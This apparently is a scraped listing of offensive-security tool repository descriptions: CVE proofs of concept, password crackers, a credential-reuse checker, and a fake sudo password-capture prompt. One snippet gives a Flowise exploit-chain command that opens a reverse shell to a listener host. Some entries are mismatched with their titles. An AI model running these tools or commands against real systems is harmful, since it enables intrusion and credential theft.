CSRF-breach

Security breach project - Cross Site Request Forgery Dolibarr 7.0.0 is affected by: Cross Site Request Forgery CSRF. The impact is: allow malitious html to change user password, disable users and disable password encryptation. The component is: Function User password change, user disable and...

Remote-Desktop-Caching-

Remote-Desktop-Caching- This tool allows one to recover old RDP mstsc session information in the form of broken PNG files. These PNG files allows Red Team member to extract juicy information such as LAPS passwords or any sensitive information on the screen. Blue Team member can reconstruct PNG...

HikPasswordHelper

HikPasswordHelper Una herramienta que explota una puerta trasera en los firmwares de cámaras Hikvision de aproximadamente 2014-2016 ICSA-17-124-01 para ayudar al propietario a cambiar una contraseña olvidada. Uso Descargue HikvisionPasswordResetHelper.exe desde la pestaña de lanzamientos y ejecut...

nepstech-xpon-router-CVE-2024-40119

nepstech-xpon-router-CVE-2024-40119 Author: Subhodeep Baroi CVE-2024-40119: CSRF Vulnerability in Nepstech Wifi Router NTPL-XPON1GFEVN v1.0 Description CVE-2024-40119 is a Cross-Site Request Forgery CSRF vulnerability in the Nepstech Wifi Router xpon NTPL-XPON1GFEVN v1.0 firmware v2.0.1. This...

publiccms_decrypt

publiccmsdecrypt https://github.com/sanluan/PublicCMS publiccms-core-V4.0.202004.a.jar!/com/publiccms/common/constants/CommonConstants.class publiccms-common-V4.0.202004.a.jar!/com/publiccms/common/tools/VerificationUtils.class com.publiccms.common.tools.VerificationUtils...

CVE-2025-58434-PoC

CVE-2025-58434 PoC Python proof-of-concept script for triggering POST /api/v1/account/forgot-password. ⚠️ For educational and authorized security research only. Running this tool against systems you do not own or lack written permission to test is illegal. Credit zaddy6 Isaac David arthurgervais...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Exploit chain for two vulnerabilities affecting Flowise -c "id" Reverse shell with existing key: python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 Options Flag| Description ---|--- -t, --target| Target URL -e, --email| Target account...

public-passwd

!WARNING Only use this on systems you own or have authorisation to test. It is recommended to keep a root shell open if you won't be able to reboot the system in case of failure, as you may not be able to clear the page cache for /etc/shadow without root. public-passwd Use CVE-2026-46333 and...

pbkdf2 rehashes long passwords on every iteration, enabling denial of service

Summary This is the same bug as Django had CVE-2013-1443. Details A long password can cause a DoS because it is not using cached HMAC, length limits, or pre-hashing passwords longer than the block size of the hash function as per HMAC spec. This line of code hashes the full password each iteratio...

credmap

credmap: 凭证映射器 Credmap 是一款开源工具，旨在唤起人们对凭证重用危险的意识。它能够将提供的用户凭证在多个已知网站上测试，以检查密码是否在这些网站中被重用。官方介绍文章可点击此处查看。 帮助菜单 Usage: credmap.py --email EMAIL | --user USER | --load LIST options Options: -h/--help show this help message and exit -v/--verbose display extra output information -u/--username=USER.. set...

database-druid

druid encode java -cp druid-1.1.19.jar com.alibaba.druid.filter.config.ConfigTools 密码 Ejemplo: java -cp druid-1.1.19.jar com.alibaba.druid.filter.config.ConfigTools jas502n...

rainbowcrackalack

Rainbow Crackalack 作者：Joe Testa @therealjoetesta 关于 本项目提供开源代码，用于生成彩虹表，并利用它们查找密码哈希值。虽然当前版本仅支持NTLM，但未来版本可能支持MD5、SHA-1、SHA-256等。同时支持Linux和Windows！ 更多信息请访问项目网站：https://www.rainbowcrackalack.com/ NTLM 表格 NTLM 8字符表（有效率达93%）可通过BitTorrent免费下载：https://www.rainbowcrackalack.com/rainbowcrackalackntlm8.torre...

sudo-snooper

sudo-snooper sudo-snooper 的行为类似于原始的 sudo 二进制文件，旨在诱骗用户输入其密码。 它会向用户显示一个与原始 sudo 相似的虚假提示，要求输入 sudo 密码。 这在渗透测试或安全评估中可用于测试用户的安全意识。 安装步骤 选项 1 - 为 sudo 命令设置别名（较简单但稍显明显） 此选项更易于操作且可移植性更强，但细心的用户可能会察觉。 编辑用户所使用的 shell 的 rc 文件（可以是 .bashrc、.zshrc 等），并添加以下内容： alias sudo='python3 /path/to/sudo-snooper.py' 确保...

Locky

Locky Locky generates "really" strong yet easy to remember passwords. Passwords generated by Locky have following features: 20+ chars Really high entropy Easy to remember Padding between words Custom element name Hence the passwords can't be bruteforced, can't be guessed and can't be forgotten...

cracklord

本包提供了 Go 语言中读写 INI 文件的功能。 功能特性 支持覆盖加载多个数据源（byte 或文件） 支持递归读取键值 支持读取父子分区 支持读取自增键名 支持读取多行的键值 支持大量辅助方法 支持在读取时直接转换为 Go 语言类型 支持读取和 写入 分区和键的注释 轻松操作分区、键值和注释 在保存文件时分区和键值会保持原有的顺序 下载安装 使用一个特定版本： go get gopkg.in/ini.v1 使用最新版： go get github.com/go-ini/ini 如需更新请添加 -u 选项。 测试安装 如果您想要在自己的机器上运行测试，请使用 -t 标记： go get...

kraken

警告 我一直在审查Kraken-Client代码，由于这是我第一个React应用，它陈旧、笨重且需要重大改进（服务器也需要一些工作）。在接下来的几周/几个月内，我将尽力用更新的React或其他框架重写它。请随意继续使用当前版本，如果遇到任何问题，请继续提交issue并提供反馈！谢谢！ Kraken：一个多平台分布式暴力破解密码系统 什么是Kraken...

ctf

CTF Related stuff Table of Contents The challs are linked in the table below. Description| Event/Game| Solution ---|---|--- Smash The Stack| ---| --- Blackbox| Level 1| An exe with a "login" functionality with the password in plain text in the memory. Blackbox| Level 2| An exe with setuid for...

wifi-password

wifi-password 快速获取你的 WiFi 密码，如果需要，生成 WiFi 二维码，方便手机轻松连接。 适用于 macOS 、Linux 和 Windows 安装 使用 pip 安装 $ python3 -m pip install --user wifi-password 使用 git 安装 $ git clone https://github.com/sdushantha/wifi-password $ cd wifi-password $ python3 setup.py install 使用 AUR 安装 使用 pamac $ sudo pamac build...

vboxdie-cracker

Virtual Box 磁盘映像加密密码破解器 需求 1. PHP = 5.5.0 2. OpenSSL = 1.0.1（支持 XTS） 算法描述 用户密码通过结合 PBKDF2 和 AES-XTS 存储，如下所示（目前显示的值是固定的，但可以在文件格式内控制）： 32 用于 AES-XTS128-PLAIN64 64 用于 AES-XTS256-PLAIN64 AESkeylength = 32 | 64 AES-password = PBKDF2algorithm: SHA256, password: userpassword, salt: randomsalt1,...

words-scraper

Words Scraper 基于Selenium的网页抓取器，用于生成密码列表。 安装 Download Firefox webdriver from https://github.com/mozilla/geckodriver/releases $ tar xzf geckodriver-vVERSION-HERE.tar.gz $ sudo mv geckodriver /usr/local/bin Make sure it is in your PATH $ geckodriver --version Make sure webdriver is properly installe...